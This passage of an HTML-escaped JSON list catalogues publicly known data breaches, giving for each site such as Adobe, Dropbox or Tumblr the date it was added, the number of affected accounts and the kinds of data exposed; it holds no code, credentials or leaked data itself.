2015&quot;,&quot;PwnCount&quot;:&quot;107,776&quot;,&quot;LogoPath&quot;:&quot;TRAI.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;SweClockers&quot;,&quot;Title&quot;:&quot;SweClockers.com&quot;,&quot;AddedDate&quot;:&quot;March 22, 2017&quot;,&quot;PwnCount&quot;:&quot;254,867&quot;,&quot;LogoPath&quot;:&quot;SweClockers.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Snail&quot;,&quot;Title&quot;:&quot;Snail&quot;,&quot;AddedDate&quot;:&quot;July 27, 2019&quot;,&quot;PwnCount&quot;:&quot;1,410,899&quot;,&quot;LogoPath&quot;:&quot;Snail.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;HongFire&quot;,&quot;Title&quot;:&quot;HongFire&quot;,&quot;AddedDate&quot;:&quot;February 5, 2017&quot;,&quot;PwnCount&quot;:&quot;999,991&quot;,&quot;LogoPath&quot;:&quot;HongFire.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;000webhost&quot;,&quot;Title&quot;:&quot;000webhost&quot;,&quot;AddedDate&quot;:&quot;October 26, 2015&quot;,&quot;PwnCount&quot;:&quot;14,936,670&quot;,&quot;LogoPath&quot;:&quot;000webhost.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;GameTuts&quot;,&quot;Title&quot;:&quot;GameTuts&quot;,&quot;AddedDate&quot;:&quot;September 23, 2016&quot;,&quot;PwnCount&quot;:&quot;2,064,274&quot;,&quot;LogoPath&quot;:&quot;GameTuts.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;StarNet&quot;,&quot;Title&quot;:&quot;StarNet&quot;,&quot;AddedDate&quot;:&quot;April 11, 2015&quot;,&quot;PwnCount&quot;:&quot;139,395&quot;,&quot;LogoPath&quot;:&quot;StarNet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MyFHA&quot;,&quot;Title&quot;:&quot;MyFHA&quot;,&quot;AddedDate&quot;:&quot;August 9, 2018&quot;,&quot;PwnCount&quot;:&quot;972,629&quot;,&quot;LogoPath&quot;:&quot;MyFHA.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Flashback&quot;,&quot;Title&quot;:&quot;Flashback&quot;,&quot;AddedDate&quot;:&quot;February 12, 2015&quot;,&quot;PwnCount&quot;:&quot;40,256&quot;,&quot;LogoPath&quot;:&quot;Flashback.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Email addresses&quot;},{&quot;Name&quot;:&quot;Xbox-Scene&quot;,&quot;Title&quot;:&quot;Xbox-Scene&quot;,&quot;AddedDate&quot;:&quot;February 7, 2016&quot;,&quot;PwnCount&quot;:&quot;432,552&quot;,&quot;LogoPath&quot;:&quot;Xbox-Scene.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PSX-Scene&quot;,&quot;Title&quot;:&quot;PSX-Scene&quot;,&quot;AddedDate&quot;:&quot;February 7, 2016&quot;,&quot;PwnCount&quot;:&quot;341,118&quot;,&quot;LogoPath&quot;:&quot;PSX-Scene.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;LizardSquad&quot;,&quot;Title&quot;:&quot;Lizard Squad&quot;,&quot;AddedDate&quot;:&quot;January 18, 2015&quot;,&quot;PwnCount&quot;:&quot;13,451&quot;,&quot;LogoPath&quot;:&quot;LizardSquad.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Solomid&quot;,&quot;Title&quot;:&quot;Team SoloMid&quot;,&quot;AddedDate&quot;:&quot;March 9, 2016&quot;,&quot;PwnCount&quot;:&quot;442,166&quot;,&quot;LogoPath&quot;:&quot;Solomid.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;AcneOrg&quot;,&quot;Title&quot;:&quot;Acne.org&quot;,&quot;AddedDate&quot;:&quot;March 6, 2016&quot;,&quot;PwnCount&quot;:&quot;432,943&quot;,&quot;LogoPath&quot;:&quot;AcneOrg.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Warframe&quot;,&quot;Title&quot;:&quot;Warframe&quot;,&quot;AddedDate&quot;:&quot;July 21, 2016&quot;,&quot;PwnCount&quot;:&quot;819,478&quot;,&quot;LogoPath&quot;:&quot;Warframe.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;Malwarebytes&quot;,&quot;Title&quot;:&quot;Malwarebytes&quot;,&quot;AddedDate&quot;:&quot;March 9, 2016&quot;,&quot;PwnCount&quot;:&quot;111,623&quot;,&quot;LogoPath&quot;:&quot;Malwarebytes.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BotOfLegends&quot;,&quot;Title&quot;:&quot;Bot of Legends&quot;,&quot;AddedDate&quot;:&quot;December 27, 2016&quot;,&quot;PwnCount&quot;:&quot;238,373&quot;,&quot;LogoPath&quot;:&quot;BotOfLegends.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;ILikeCheats&quot;,&quot;Title&quot;:&quot;ILikeCheats&quot;,&quot;AddedDate&quot;:&quot;April 22, 2018&quot;,&quot;PwnCount&quot;:&quot;188,847&quot;,&quot;LogoPath&quot;:&quot;ILikeCheats.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BTCE&quot;,&quot;Title&quot;:&quot;BTC-E&quot;,&quot;AddedDate&quot;:&quot;March 12, 2017&quot;,&quot;PwnCount&quot;:&quot;568,340&quot;,&quot;LogoPath&quot;:&quot;BTCE.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Yandex&quot;,&quot;Title&quot;:&quot;Yandex Dump&quot;,&quot;AddedDate&quot;:&quot;September 12, 2014&quot;,&quot;PwnCount&quot;:&quot;1,186,564&quot;,&quot;LogoPath&quot;:&quot;Yandex.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;BinWeevils&quot;,&quot;Title&quot;:&quot;Bin Weevils&quot;,&quot;AddedDate&quot;:&quot;August 18, 2017&quot;,&quot;PwnCount&quot;:&quot;1,287,073&quot;,&quot;LogoPath&quot;:&quot;BinWeevils.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Powerbot&quot;,&quot;Title&quot;:&quot;Powerbot&quot;,&quot;AddedDate&quot;:&quot;July 1, 2017&quot;,&quot;PwnCount&quot;:&quot;503,501&quot;,&quot;LogoPath&quot;:&quot;Powerbot.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DietCom&quot;,&quot;Title&quot;:&quot;diet.com&quot;,&quot;AddedDate&quot;:&quot;October 13, 2017&quot;,&quot;PwnCount&quot;:&quot;1,383,759&quot;,&quot;LogoPath&quot;:&quot;DietCom.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PokemonCreed&quot;,&quot;Title&quot;:&quot;Pokémon Creed&quot;,&quot;AddedDate&quot;:&quot;August 10, 2014&quot;,&quot;PwnCount&quot;:&quot;116,465&quot;,&quot;LogoPath&quot;:&quot;PokemonCreed.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Insanelyi&quot;,&quot;Title&quot;:&quot;Insanelyi&quot;,&quot;AddedDate&quot;:&quot;July 22, 2014&quot;,&quot;PwnCount&quot;:&quot;104,097&quot;,&quot;LogoPath&quot;:&quot;Insanelyi.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;PoliceOne&quot;,&quot;Title&quot;:&quot;PoliceOne&quot;,&quot;AddedDate&quot;:&quot;November 15, 2017&quot;,&quot;PwnCount&quot;:&quot;709,926&quot;,&quot;LogoPath&quot;:&quot;PoliceOne.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BlackHatWorld&quot;,&quot;Title&quot;:&quot;Black Hat World&quot;,&quot;AddedDate&quot;:&quot;November 3, 2015&quot;,&quot;PwnCount&quot;:&quot;777,387&quot;,&quot;LogoPath&quot;:&quot;BlackHatWorld.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;SumoTorrent&quot;,&quot;Title&quot;:&quot;Sumo Torrent&quot;,&quot;AddedDate&quot;:&quot;March 9, 2016&quot;,&quot;PwnCount&quot;:&quot;285,191&quot;,&quot;LogoPath&quot;:&quot;SumoTorrent.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Dominos&quot;,&quot;Title&quot;:&quot;Domino&#x27;s&quot;,&quot;AddedDate&quot;:&quot;January 4, 2015&quot;,&quot;PwnCount&quot;:&quot;648,231&quot;,&quot;LogoPath&quot;:&quot;Dominos.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;MangaTraders&quot;,&quot;Title&quot;:&quot;Manga Traders&quot;,&quot;AddedDate&quot;:&quot;June 10, 2014&quot;,&quot;PwnCount&quot;:&quot;855,249&quot;,&quot;LogoPath&quot;:&quot;MangaTraders.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Avast&quot;,&quot;Title&quot;:&quot;Avast&quot;,&quot;AddedDate&quot;:&quot;March 12, 2016&quot;,&quot;PwnCount&quot;:&quot;422,959&quot;,&quot;LogoPath&quot;:&quot;Avast.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Bitly&quot;,&quot;Title&quot;:&quot;Bitly&quot;,&quot;AddedDate&quot;:&quot;October 6, 2017&quot;,&quot;PwnCount&quot;:&quot;9,313,136&quot;,&quot;LogoPath&quot;:&quot;Bitly.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Fridae&quot;,&quot;Title&quot;:&quot;Fridae&quot;,&quot;AddedDate&quot;:&quot;May 6, 2014&quot;,&quot;PwnCount&quot;:&quot;35,368&quot;,&quot;LogoPath&quot;:&quot;Fridae.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;BusinessAcumen&quot;,&quot;Title&quot;:&quot;Business Acumen Magazine&quot;,&quot;AddedDate&quot;:&quot;May 11, 2014&quot;,&quot;PwnCount&quot;:&quot;26,596&quot;,&quot;LogoPath&quot;:&quot;BusinessAcumen.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;NextGenUpdate&quot;,&quot;Title&quot;:&quot;NextGenUpdate&quot;,&quot;AddedDate&quot;:&quot;June 5, 2015&quot;,&quot;PwnCount&quot;:&quot;1,194,597&quot;,&quot;LogoPath&quot;:&quot;NextGenUpdate.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;CafeMom&quot;,&quot;Title&quot;:&quot;CafeMom&quot;,&quot;AddedDate&quot;:&quot;November 9, 2017&quot;,&quot;PwnCount&quot;:&quot;2,628,148&quot;,&quot;LogoPath&quot;:&quot;CafeMom.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;BigMoneyJobs&quot;,&quot;Title&quot;:&quot;BigMoneyJobs&quot;,&quot;AddedDate&quot;:&quot;April 8, 2014&quot;,&quot;PwnCount&quot;:&quot;36,789&quot;,&quot;LogoPath&quot;:&quot;BigMoneyJobs.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Boxee&quot;,&quot;Title&quot;:&quot;Boxee&quot;,&quot;AddedDate&quot;:&quot;March 30, 2014&quot;,&quot;PwnCount&quot;:&quot;158,093&quot;,&quot;LogoPath&quot;:&quot;Boxee.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;QuantumBooter&quot;,&quot;Title&quot;:&quot;Quantum Booter&quot;,&quot;AddedDate&quot;:&quot;April 4, 2015&quot;,&quot;PwnCount&quot;:&quot;48,592&quot;,&quot;LogoPath&quot;:&quot;QuantumBooter.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Rambler&quot;,&quot;Title&quot;:&quot;Rambler&quot;,&quot;AddedDate&quot;:&quot;November 1, 2016&quot;,&quot;PwnCount&quot;:&quot;91,436,280&quot;,&quot;LogoPath&quot;:&quot;Rambler.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Spirol&quot;,&quot;Title&quot;:&quot;Spirol&quot;,&quot;AddedDate&quot;:&quot;February 22, 2014&quot;,&quot;PwnCount&quot;:&quot;55,622&quot;,&quot;LogoPath&quot;:&quot;Spirol.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;IGF&quot;,&quot;Title&quot;:&quot;UN Internet Governance Forum&quot;,&quot;AddedDate&quot;:&quot;February 23, 2014&quot;,&quot;PwnCount&quot;:&quot;3,200&quot;,&quot;LogoPath&quot;:&quot;IGF.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MuslimDirectory&quot;,&quot;Title&quot;:&quot;Muslim Directory&quot;,&quot;AddedDate&quot;:&quot;February 23, 2014&quot;,&quot;PwnCount&quot;:&quot;37,784&quot;,&quot;LogoPath&quot;:&quot;MuslimDirectory.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Kickstarter&quot;,&quot;Title&quot;:&quot;Kickstarter&quot;,&quot;AddedDate&quot;:&quot;October 6, 2017&quot;,&quot;PwnCount&quot;:&quot;5,176,463&quot;,&quot;LogoPath&quot;:&quot;Kickstarter.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Forbes&quot;,&quot;Title&quot;:&quot;Forbes&quot;,&quot;AddedDate&quot;:&quot;February 15, 2014&quot;,&quot;PwnCount&quot;:&quot;1,057,819&quot;,&quot;LogoPath&quot;:&quot;Forbes.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Tesco&quot;,&quot;Title&quot;:&quot;Tesco&quot;,&quot;AddedDate&quot;:&quot;February 13, 2014&quot;,&quot;PwnCount&quot;:&quot;2,239&quot;,&quot;LogoPath&quot;:&quot;Tesco.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CannabisForum&quot;,&quot;Title&quot;:&quot;Cannabis.com&quot;,&quot;AddedDate&quot;:&quot;June 1, 2014&quot;,&quot;PwnCount&quot;:&quot;227,746&quot;,&quot;LogoPath&quot;:&quot;CannabisForum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Bell&quot;,&quot;Title&quot;:&quot;Bell (2014 breach)&quot;,&quot;AddedDate&quot;:&quot;February 1, 2014&quot;,&quot;PwnCount&quot;:&quot;20,902&quot;,&quot;LogoPath&quot;:&quot;Bell.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Credit cards&quot;},{&quot;Name&quot;:&quot;Verified&quot;,&quot;Title&quot;:&quot;Verified&quot;,&quot;AddedDate&quot;:&quot;July 6, 2014&quot;,&quot;PwnCount&quot;:&quot;16,919&quot;,&quot;LogoPath&quot;:&quot;Verified.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BTSec&quot;,&quot;Title&quot;:&quot;Bitcoin Security Forum Gmail Dump&quot;,&quot;AddedDate&quot;:&quot;September 10, 2014&quot;,&quot;PwnCount&quot;:&quot;4,789,599&quot;,&quot;LogoPath&quot;:&quot;BTSec.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;WPT&quot;,&quot;Title&quot;:&quot;WPT Amateur Poker League&quot;,&quot;AddedDate&quot;:&quot;February 1, 2014&quot;,&quot;PwnCount&quot;:&quot;148,366&quot;,&quot;LogoPath&quot;:&quot;WPT.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Reverb-Nation&quot;,&quot;Title&quot;:&quot;ReverbNation&quot;,&quot;AddedDate&quot;:&quot;October 5, 2017&quot;,&quot;PwnCount&quot;:&quot;7,040,725&quot;,&quot;LogoPath&quot;:&quot;Reverb-Nation.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ThisHabboForum&quot;,&quot;Title&quot;:&quot;ThisHabbo Forum&quot;,&quot;AddedDate&quot;:&quot;March 28, 2015&quot;,&quot;PwnCount&quot;:&quot;612,414&quot;,&quot;LogoPath&quot;:&quot;ThisHabboForum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Snapchat&quot;,&quot;Title&quot;:&quot;Snapchat&quot;,&quot;AddedDate&quot;:&quot;January 2, 2014&quot;,&quot;PwnCount&quot;:&quot;4,609,615&quot;,&quot;LogoPath&quot;:&quot;Snapchat.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers&quot;},{&quot;Name&quot;:&quot;AstroPID&quot;,&quot;Title&quot;:&quot;Astropid&quot;,&quot;AddedDate&quot;:&quot;July 6, 2014&quot;,&quot;PwnCount&quot;:&quot;5,788&quot;,&quot;LogoPath&quot;:&quot;AstroPID.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;TorrentInvites&quot;,&quot;Title&quot;:&quot;Torrent Invites&quot;,&quot;AddedDate&quot;:&quot;March 22, 2017&quot;,&quot;PwnCount&quot;:&quot;352,120&quot;,&quot;LogoPath&quot;:&quot;TorrentInvites.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PixelFederation&quot;,&quot;Title&quot;:&quot;Pixel Federation&quot;,&quot;AddedDate&quot;:&quot;December 6, 2013&quot;,&quot;PwnCount&quot;:&quot;38,108&quot;,&quot;LogoPath&quot;:&quot;PixelFederation.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Vodafone&quot;,&quot;Title&quot;:&quot;Vodafone&quot;,&quot;AddedDate&quot;:&quot;November 30, 2013&quot;,&quot;PwnCount&quot;:&quot;56,021&quot;,&quot;LogoPath&quot;:&quot;Vodafone.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Passwords&quot;},{&quot;Name&quot;:&quot;XSplit&quot;,&quot;Title&quot;:&quot;XSplit&quot;,&quot;AddedDate&quot;:&quot;August 8, 2015&quot;,&quot;PwnCount&quot;:&quot;2,983,472&quot;,&quot;LogoPath&quot;:&quot;XSplit.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;WeHeartIt&quot;,&quot;Title&quot;:&quot;We Heart It&quot;,&quot;AddedDate&quot;:&quot;October 14, 2017&quot;,&quot;PwnCount&quot;:&quot;8,600,635&quot;,&quot;LogoPath&quot;:&quot;WeHeartIt.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Adobe&quot;,&quot;Title&quot;:&quot;Adobe&quot;,&quot;AddedDate&quot;:&quot;December 4, 2013&quot;,&quot;PwnCount&quot;:&quot;152,445,165&quot;,&quot;LogoPath&quot;:&quot;Adobe.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;iMesh&quot;,&quot;Title&quot;:&quot;iMesh&quot;,&quot;AddedDate&quot;:&quot;July 2, 2016&quot;,&quot;PwnCount&quot;:&quot;49,467,477&quot;,&quot;LogoPath&quot;:&quot;iMesh.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;CrackCommunity&quot;,&quot;Title&quot;:&quot;Crack Community&quot;,&quot;AddedDate&quot;:&quot;February 3, 2015&quot;,&quot;PwnCount&quot;:&quot;19,210&quot;,&quot;LogoPath&quot;:&quot;CrackCommunity.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Win7Vista&quot;,&quot;Title&quot;:&quot;Win7Vista Forum&quot;,&quot;AddedDate&quot;:&quot;June 1, 2014&quot;,&quot;PwnCount&quot;:&quot;202,683&quot;,&quot;LogoPath&quot;:&quot;Win7Vista.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;imgur&quot;,&quot;Title&quot;:&quot;imgur&quot;,&quot;AddedDate&quot;:&quot;November 25, 2017&quot;,&quot;PwnCount&quot;:&quot;1,749,806&quot;,&quot;LogoPath&quot;:&quot;imgur.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Yatra&quot;,&quot;Title&quot;:&quot;Yatra&quot;,&quot;AddedDate&quot;:&quot;July 4, 2018&quot;,&quot;PwnCount&quot;:&quot;5,033,997&quot;,&quot;LogoPath&quot;:&quot;Yatra.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Evite&quot;,&quot;Title&quot;:&quot;Evite&quot;,&quot;AddedDate&quot;:&quot;July 14, 2019&quot;,&quot;PwnCount&quot;:&quot;100,985,047&quot;,&quot;LogoPath&quot;:&quot;Evite.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;OwnedCore&quot;,&quot;Title&quot;:&quot;OwnedCore&quot;,&quot;AddedDate&quot;:&quot;February 6, 2016&quot;,&quot;PwnCount&quot;:&quot;880,331&quot;,&quot;LogoPath&quot;:&quot;OwnedCore.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;LoungeBoard&quot;,&quot;Title&quot;:&quot;Lounge Board&quot;,&quot;AddedDate&quot;:&quot;July 6, 2014&quot;,&quot;PwnCount&quot;:&quot;45,018&quot;,&quot;LogoPath&quot;:&quot;LoungeBoard.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;LOTR&quot;,&quot;Title&quot;:&quot;Lord of the Rings Online&quot;,&quot;AddedDate&quot;:&quot;March 12, 2016&quot;,&quot;PwnCount&quot;:&quot;1,141,278&quot;,&quot;LogoPath&quot;:&quot;LOTR.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;NexusMods&quot;,&quot;Title&quot;:&quot;Nexus Mods&quot;,&quot;AddedDate&quot;:&quot;January 17, 2016&quot;,&quot;PwnCount&quot;:&quot;5,915,013&quot;,&quot;LogoPath&quot;:&quot;NexusMods.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AhaShare&quot;,&quot;Title&quot;:&quot;AhaShare.com&quot;,&quot;AddedDate&quot;:&quot;November 6, 2014&quot;,&quot;PwnCount&quot;:&quot;180,468&quot;,&quot;LogoPath&quot;:&quot;AhaShare.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;NonNudeGirls&quot;,&quot;Title&quot;:&quot;Non Nude Girls&quot;,&quot;AddedDate&quot;:&quot;January 25, 2017&quot;,&quot;PwnCount&quot;:&quot;75,383&quot;,&quot;LogoPath&quot;:&quot;NonNudeGirls.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Neopets&quot;,&quot;Title&quot;:&quot;Neopets&quot;,&quot;AddedDate&quot;:&quot;July 7, 2016&quot;,&quot;PwnCount&quot;:&quot;quot;26,892,897&quot;,&quot;LogoPath&quot;:&quot;Neopets.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DDO&quot;,&quot;Title&quot;:&quot;Dungeons &amp; Dragons Online&quot;,&quot;AddedDate&quot;:&quot;March 12, 2016&quot;,&quot;PwnCount&quot;:&quot;1,580,933&quot;,&quot;LogoPath&quot;:&quot;DDO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Brazzers&quot;,&quot;Title&quot;:&quot;Brazzers&quot;,&quot;AddedDate&quot;:&quot;September 5, 2016&quot;,&quot;PwnCount&quot;:&quot;790,724&quot;,&quot;LogoPath&quot;:&quot;Brazzers.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Tumblr&quot;,&quot;Title&quot;:&quot;tumblr&quot;,&quot;AddedDate&quot;:&quot;May 29, 2016&quot;,&quot;PwnCount&quot;:&quot;65,469,298&quot;,&quot;LogoPath&quot;:&quot;Tumblr.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;HeroesOfGaia&quot;,&quot;Title&quot;:&quot;Heroes of Gaia&quot;,&quot;AddedDate&quot;:&quot;November 7, 2016&quot;,&quot;PwnCount&quot;:&quot;179,967&quot;,&quot;LogoPath&quot;:&quot;HeroesOfGaia.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;FaceUP&quot;,&quot;Title&quot;:&quot;FaceUP&quot;,&quot;AddedDate&quot;:&quot;January 13, 2019&quot;,&quot;PwnCount&quot;:&quot;87,633&quot;,&quot;LogoPath&quot;:&quot;FaceUP.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;HeroesOfNewerth&quot;,&quot;Title&quot;:&quot;Heroes of Newerth&quot;,&quot;AddedDate&quot;:&quot;January 24, 2016&quot;,&quot;PwnCount&quot;:&quot;8,089,103&quot;,&quot;LogoPath&quot;:&quot;HeroesOfNewerth.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Netlog&quot;,&quot;Title&quot;:&quot;Netlog&quot;,&quot;AddedDate&quot;:&quot;July 15, 2019&quot;,&quot;PwnCount&quot;:&quot;49,038,354&quot;,&quot;LogoPath&quot;:&quot;Netlog.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Lookbook&quot;,&quot;Title&quot;:&quot;Lookbook&quot;,&quot;AddedDate&quot;:&quot;November 8, 2016&quot;,&quot;PwnCount&quot;:&quot;1,074,948&quot;,&quot;LogoPath&quot;:&quot;Lookbook.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Yahoo&quot;,&quot;Title&quot;:&quot;Yahoo&quot;,&quot;AddedDate&quot;:&quot;December 4, 2013&quot;,&quot;PwnCount&quot;:&quot;453,427&quot;,&quot;LogoPath&quot;:&quot;Yahoo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;WarInc&quot;,&quot;Title&quot;:&quot;War Inc.&quot;,&quot;AddedDate&quot;:&quot;November 7, 2016&quot;,&quot;PwnCount&quot;:&quot;1,020,136&quot;,&quot;LogoPath&quot;:&quot;WarInc.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Dropbox&quot;,&quot;Title&quot;:&quot;Dropbox&quot;,&quot;AddedDate&quot;:&quot;August 31, 2016&quot;,&quot;PwnCount&quot;:&quot;68,648,009&quot;,&quot;LogoPath&quot;:&quot;Dropbox.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Disqus&quot;,&quot;Title&quot;:&quot;Disqus&quot;,&quot;AddedDate&quot;:&quot;October 6, 2017&quot;,&quot;PwnCount&quot;:&quot;17,551,044&quot;,&quot;LogoPath&quot;:&quot;Disqus.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;LeagueOfLegends&quot;,&quot;Title&quot;:&quot;League of Legends&quot;,&quot;AddedDate&quot;:&quot;July 28, 2018&quot;,&quot;PwnCount&quot;:&quot;339,487&quot;,&quot;LogoPath&quot;:&quot;LeagueOfLegends.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email 